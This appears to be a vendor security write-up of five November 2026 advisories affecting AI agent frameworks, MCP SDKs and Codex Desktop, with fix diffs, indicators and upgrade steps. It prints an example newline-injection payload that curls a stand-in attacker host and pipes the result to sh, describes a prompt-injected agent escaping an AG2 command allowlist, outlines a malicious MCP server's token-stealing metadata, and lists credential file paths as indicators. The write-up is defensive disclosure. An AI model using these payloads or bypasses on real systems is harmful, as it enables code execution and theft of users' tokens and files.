CVE
CVE-2026-113663, CVE-2026-123272, CVE-2026-123271, CVE-2026-110930, CVE-2026-77604
CWE
CWE-78, CWE-88, CWE-346, CWE-918, CWE-22
Affected Surface
- PyPI `ag2` versions `>= 0.13.2, < 1.1.1` and `autogen` versions `>= 0.13.2, <= 0.14.1` (`CVE-2026-113663` / `GHSA-2h4w-29cv-2cmv`, CVSS 8.8 High, fixed in `ag2 1.1.1`)
- Go module `github.com/mark3labs/mcp-go` versions `< v1.2.1` (`CVE-2026-123272` / `GHSA-xf6j-693p-wqxx`, CVSS 8.0 High, fixed in `v1.2.1`) and `<= v1.5.0` (`GO-2026-6911` `NewStreamableHTTP` `3xx` redirect SSRF and OAuth bearer token leak)
- Go module `github.com/diillson/chatcli` versions `< v1.215.2` (`CVE-2026-123271` / `GHSA-95vg-3r9c-2v5q`, CVSS 8.0 High, fixed in `v1.215.2`)
- OpenAI Codex Desktop for Windows (`CVE-2026-110930`, CVSS 8.0 High, Windows Explorer 'Open project in ChatGPT' context-menu handler)
- PyPI `code-graph-rag` versions `< 0.0.345` (`CVE-2026-77604` / `GHSA-vvr2-h2jp-838m`, CVSS 7.5 High, fixed in `0.0.345`)
TL;DR
Between 19:17 UTC and 23:38 UTC on 5 November 2026, NVD, the GitHub Advisory Database, and the Go Vulnerability Database published five high-severity advisories affecting AI agent frameworks, Model Context Protocol (MCP) SDKs, and desktop coding assistants:
- AG2 (
< 1.1.1) andautogen(0.13.2..0.14.1)SandboxShellToolcommand-allowlist bypass (CVE-2026-113663/GHSA-2h4w-29cv-2cmv, CVSS 8.8 High): When developers configuredSandboxShellToolwithallowed=[...]orreadonly=True(READONLY_COMMANDS) to restrict an LLM agent to safe commands,ShellAdapter._filter()checked the command string withcontains_shell_operator()and prefix matching, then passed the raw string tosh -c <command>. Becausecontains_shell_operator()did not reject newline characters (\n), environment variable expansion ($VAR), or brace/glob expansion, a prompt-injected agent could pass"ls\nid"to execute arbitrary shell commands. - Go
github.com/mark3labs/mcp-goOAuth RFC 9728 resource-indicator spoofing (CVE-2026-123272/GHSA-xf6j-693p-wqxx, CVSS 8.0 High, fixed inv1.2.1) andNewStreamableHTTPredirect token leak (GO-2026-6911, affecting<= v1.5.0): Inmcp-go < v1.2.1,OAuthHandler.fetchServerMetadata()validated the RFC 9728resourcefield when Protected Resource Metadata (PRM) was fetched from aWWW-AuthenticateURL, but skipped that check when fetching from the well-known path (/.well-known/oauth-protected-resource). A malicious MCP server could declare a victim API’s URL in its well-knownresourcefield, causing the client to request an RFC 8707 token scoped to the victim API and hand that token to the attacker’s MCP server. Separately,GO-2026-6911(published 5 November at22:44 UTC) notes thatNewStreamableHTTPinclient/transportuses a defaulthttp.Client(CheckRedirect: nil) whose customRoundTripperattaches static headers (WithHeaders) and OAuthAuthorization: Bearertokens to every request, including cross-origin3xxredirect targets. - ChatCLI
< v1.215.2MCP OAuth token theft and cross-origin SSEendpointhijacking (CVE-2026-123271/GHSA-95vg-3r9c-2v5q, CVSS 8.0 High): ChatCLI trusted the server-supplied PRMresourcefield during MCP OAuth login without verifying that it matched the configured MCP server URL, stored OAuth tokens keyed only byserverNamerather than(serverName, serverURL), and insseTransport.handleSSEEvent("endpoint", ...)accepted arbitrary cross-origin URLs (http://other-host:9090/messages) to which all subsequent authenticated JSON-RPCPOSTrequests were sent. - OpenAI Codex Desktop for Windows Explorer context-menu argument injection (
CVE-2026-110930, CVSS 8.0 High): When a user right-clicked a child item inside an attacker-controlled Windows library and selected “Open project in ChatGPT”, Codex Desktop did not properly validate quotation marks in the project path passed from Windows Explorer, allowing embedded quotes and flags to inject application startup arguments and execute arbitrary code as the current Windows user before sign-in or project trust approval. - Code Graph RAG
< 0.0.345MCP paginatedread_filearbitrary file read (CVE-2026-77604/GHSA-vvr2-h2jp-838m, CVSS 7.5 High): Incodebase_rag/mcp/tools.py, the non-paginated branch ofMCPToolsRegistry.read_file()validated paths, but the paginated branch (if offset is not None or limit is not None:) simply executedfull_path = Path(self.project_root) / file_pathand openedfull_path. Because Python’spathlib.Path("/workspace") / "/etc/passwd"discardsself.project_rootwheneverfile_pathis absolute (and../traversal was not resolved), any MCP caller passingoffset=0, limit=100could read arbitrary files on the host.
What to do now: Upgrade ag2 to >= 1.1.1 (and migrate off autogen <= 0.14.1), github.com/mark3labs/mcp-go to >= v1.2.1 (and supply a custom WithHTTPBasicClient with a strict CheckRedirect policy to mitigate GO-2026-6911), github.com/diillson/chatcli to >= v1.215.2, code-graph-rag to >= 0.0.345, and update OpenAI Codex Desktop on Windows to the latest build.
Affected packages and projects
| Ecosystem | Package / Product | CVE / Advisory | Severity | Affected versions | Fixed version | Vulnerable component |
|---|---|---|---|---|---|---|
| PyPI | ag2, autogen | CVE-2026-113663 (GHSA-2h4w-29cv-2cmv) | CVSS 8.8 High | ag2 >= 0.13.2, < 1.1.1; autogen >= 0.13.2, <= 0.14.1 | ag2 1.1.1 (1.3.0 latest) | ShellAdapter in ag2/tools/sandbox/adapter/shell.py and filter.py |
| Go | github.com/mark3labs/mcp-go | CVE-2026-123272 (GHSA-xf6j-693p-wqxx), GO-2026-6911 | CVSS 8.0 High | < v1.2.1 (CVE-2026-123272); <= v1.5.0 (GO-2026-6911) | v1.2.1 (CVE-2026-123272); pass WithHTTPBasicClient with CheckRedirect for GO-2026-6911 | OAuthHandler.fetchServerMetadata() in client/transport/oauth.go and NewStreamableHTTP in client/transport/streamable_http.go |
| Go | github.com/diillson/chatcli | CVE-2026-123271 (GHSA-95vg-3r9c-2v5q) | CVSS 8.0 High | < v1.215.2 | v1.215.2 | cli/mcp/oauth.go, cli/mcp/manager.go, and cli/mcp/mcp.go |
| Windows Desktop | OpenAI Codex Desktop | CVE-2026-110930 | CVSS 8.0 High | Windows builds prior to the Nov 2026 update | Latest Codex Desktop for Windows release | Windows Explorer "Open project in ChatGPT" path handler |
| PyPI | code-graph-rag | CVE-2026-77604 (GHSA-vvr2-h2jp-838m) | CVSS 7.5 High | < 0.0.345 | 0.0.345 (0.5.0 latest) | MCPToolsRegistry.read_file() in codebase_rag/mcp/tools.py |
Technical analysis
1. CVE-2026-113663: AG2 SandboxShellTool newline injection and sh -c execution
In ag2 (0.13.2 through 1.1.0) and autogen (0.13.2 through 0.14.1), SandboxShellTool supports allowed=[...] and readonly=True (which populates allowed with READONLY_COMMANDS such as ls, cat, git status, rg) to let an agent inspect a workspace without running arbitrary commands. However, ShellAdapter validated the command string as text and then executed it through sh -c:
contains_shell_operator()checked for;,|,&&,||,`,$(,>, and<, but did not check for\n(newline),$VARenvironment expansion, or glob/brace expansion.- Because
matches()checked whether the command string started with an allowed prefix, passing"ls -la\ncurl -s http://attacker.example/sh | sh"matched the"ls"prefix, passedcontains_shell_operator(), and was handed tosh -c, where the shell executed every newline-separated line.
Commit 3cd86726bb73 (ag2 1.1.1) parses restricted commands into an argv list with split_command(), rejects \n and \r, validates the parsed argv tokens with matches_argv(), and executes the argv vector directly without invoking sh -c:
--- a/ag2/tools/sandbox/adapter/shell.py
+++ b/ag2/tools/sandbox/adapter/shell.py
@@ -82,15 +91,24 @@ def workdir(self) -> "Path | PurePosixPath":
return host
return sandbox.workdir
- def _filter(self, command: str) -> str | None:
+ @property
+ def restricted(self) -> bool:
+ """Whether commands run as a checked argv, without a shell."""
+ return self._allowed is not None
+
+ def _argv(self, command: str) -> list[str] | None:
+ # Restricted mode runs exactly the argv it checks: through ``sh -c`` the
+ # shell would expand braces, variables and globs after the check.
+ if self._allowed is None:
+ return ["sh", "-c", command]
+ return split_command(command)
2. CVE-2026-123272 (mcp-go) and CVE-2026-123271 (chatcli): MCP OAuth RFC 9728 resource-indicator spoofing
Under the MCP OAuth specification (which layers RFC 9728 OAuth 2.0 Protected Resource Metadata with RFC 8707 Resource Indicators), an MCP client discovers an MCP server’s authorization server and resource identifier from Protected Resource Metadata (PRM), then passes resource=<PRM.resource> to the authorization server so the resulting access token is audience-bound to that resource.
In github.com/mark3labs/mcp-go < v1.2.1 (CVE-2026-123272), OAuthHandler.fetchServerMetadata() in client/transport/oauth.go checked that metadata.Resource matched the MCP server’s URL only when the PRM URL came from an untrusted WWW-Authenticate header, assuming that /.well-known/oauth-protected-resource on the MCP server’s own origin was implicitly bound:
--- a/client/transport/oauth.go
+++ b/client/transport/oauth.go
@@ -795,12 +803,18 @@ func (h *OAuthHandler) fetchServerMetadata(ctx context.Context) (metadataDiscove
- // The check is scoped to the advertised path because the
- // well-known origin-constructed path is already bound to the
- // protected resource by same-origin URL construction.
- if candidate.requireResourceMatch {
- if metadata.Resource == "" {
+ // Both discovery paths enforce the binding, at different strictness.
+ if candidate.requireResourceMatch {
+ if metadata.Resource == "" || !resourceMatchesServerURL(metadata.Resource, h.baseURL, true) {
continue
}
+ } else if metadata.Resource != "" && !resourceMatchesServerURL(metadata.Resource, h.baseURL, false) {
+ continue
}
Because the JSON document returned by /.well-known/oauth-protected-resource is still controlled by the MCP server, a malicious MCP server at https://evil-mcp.example could serve {"resource": "https://api.internal.example", "authorization_servers": ["https://sso.internal.example"]} from its well-known endpoint. When a developer authenticated to evil-mcp.example, mcp-go (and chatcli < v1.215.2 in CVE-2026-123271) asked the enterprise IdP to mint an access token for https://api.internal.example and then sent that token in Authorization: Bearer to https://evil-mcp.example.
3. CVE-2026-77604: Code Graph RAG paginated read_file path traversal
In codebase_rag/mcp/tools.py, MCPToolsRegistry.read_file(file_path, offset, limit) had two branches. When offset and limit were both None, it called a helper that checked project-root containment; when either offset or limit was provided, it skipped validation and ran Path(self.project_root) / file_path. Commit 6541e920a279 (v0.0.345) resolves both paths and enforces full_path.relative_to(project_root):
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@ -559,7 +559,14 @@ async def read_file(
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
- full_path = Path(self.project_root) / file_path
+ project_root = Path(self.project_root).resolve()
+ try:
+ full_path = (project_root / file_path).resolve()
+ full_path.relative_to(project_root)
+ except (ValueError, RuntimeError):
+ return te.ERROR_WRAPPER.format(
+ message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+ )
Indicators of compromise (IOCs) and exploit patterns
- AG2
SandboxShellTool(CVE-2026-113663): Tool-call logs where aSandboxShellToolargument starts with an allowed read-only command (ls,cat,git,rg,find) followed by\n,$, or glob characters. - MCP OAuth (
CVE-2026-123272,CVE-2026-123271,GO-2026-6911):/.well-known/oauth-protected-resourceresponses declaring aresourceURI on a different origin from the MCP server, SSEendpointevents pointing at a different host/port/scheme, or301/302/307/308responses from an MCP HTTP endpoint. - Code Graph RAG (
CVE-2026-77604): MCPread_filetool invocations passingoffsetorlimitalongside an absolutefile_path(/etc/passwd,~/.aws/credentials,.env) or../segments.
Detection and remediation
# 1. Check Python environments and lockfiles for vulnerable ag2, autogen, and code-graph-rag versions
pip show ag2 autogen code-graph-rag 2>/dev/null || true
rg -n '(ag2|autogen|code-graph-rag)' requirements*.txt pyproject.toml uv.lock poetry.lock 2>/dev/null
# 2. Check Go modules for mark3labs/mcp-go and diillson/chatcli
rg -n 'github\.com/(mark3labs/mcp-go|diillson/chatcli)' go.mod go.sum 2>/dev/null
- Upgrade
ag2to>= 1.1.1andcode-graph-ragto>= 0.0.345: Replaceautogen <= 0.14.1orag2 < 1.1.1withag2 >= 1.1.1soSandboxShellToolexecutes restricted commands viaargvwithoutsh -c. - Upgrade
mark3labs/mcp-goto>= v1.2.1andchatclito>= v1.215.2, and block cross-origin redirects inNewStreamableHTTP: BecauseGO-2026-6911affectsmcp-gothroughv1.5.0, passtransport.WithHTTPBasicClient(&http.Client{CheckRedirect: ...})that rejects cross-origin redirects or stripsAuthorizationand custom headers whenever the redirect target’s origin differs from the MCP server’s origin. Rotate any OAuth tokens cached bymcp-goorchatcliwhen connecting to third-party MCP servers. - Update OpenAI Codex Desktop on Windows: Update Codex Desktop for Windows before using the Windows Explorer
"Open project in ChatGPT"shell integration on untrusted directories or network shares.
Timeline
- 2026-11-05 (
19:17 UTC): NVD publishesCVE-2026-123271(chatcli < v1.215.2) andCVE-2026-123272(mark3labs/mcp-go < v1.2.1). - 2026-11-05 (
20:17to20:18 UTC): NVD publishesCVE-2026-110930(OpenAI Codex Desktop for Windows) andCVE-2026-77604(code-graph-rag < 0.0.345). - 2026-11-05 (
22:44to23:16 UTC): The Go Vulnerability Database publishesGO-2026-6911(mark3labs/mcp-goNewStreamableHTTPredirect credential leak), and NVD publishesCVE-2026-113663(ag2 < 1.1.1/autogen <= 0.14.1).
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- AG2 Advisory GHSA-2h4w-29cv-2cmv and commit 3cd86726bb73 (CVE-2026-113663: SandboxShellTool newline and shell-expansion bypass)
- mark3labs/mcp-go commit 90d247ed8d45 (CVE-2026-123272 / GHSA-xf6j-693p-wqxx) and Go Vulnerability Database GO-2026-6911
- diillson/chatcli commit 951fe24b8e09 (CVE-2026-123271 / GHSA-95vg-3r9c-2v5q: validate MCP OAuth resource indicator and SSE endpoint origin)
- NVD and OpenAI Security Advisory: CVE-2026-110930 (Codex Desktop for Windows Explorer path quote injection)
- vitali87/code-graph-rag Advisory GHSA-vvr2-h2jp-838m and commit 6541e920a279 (CVE-2026-77604: MCP paginated read_file path traversal)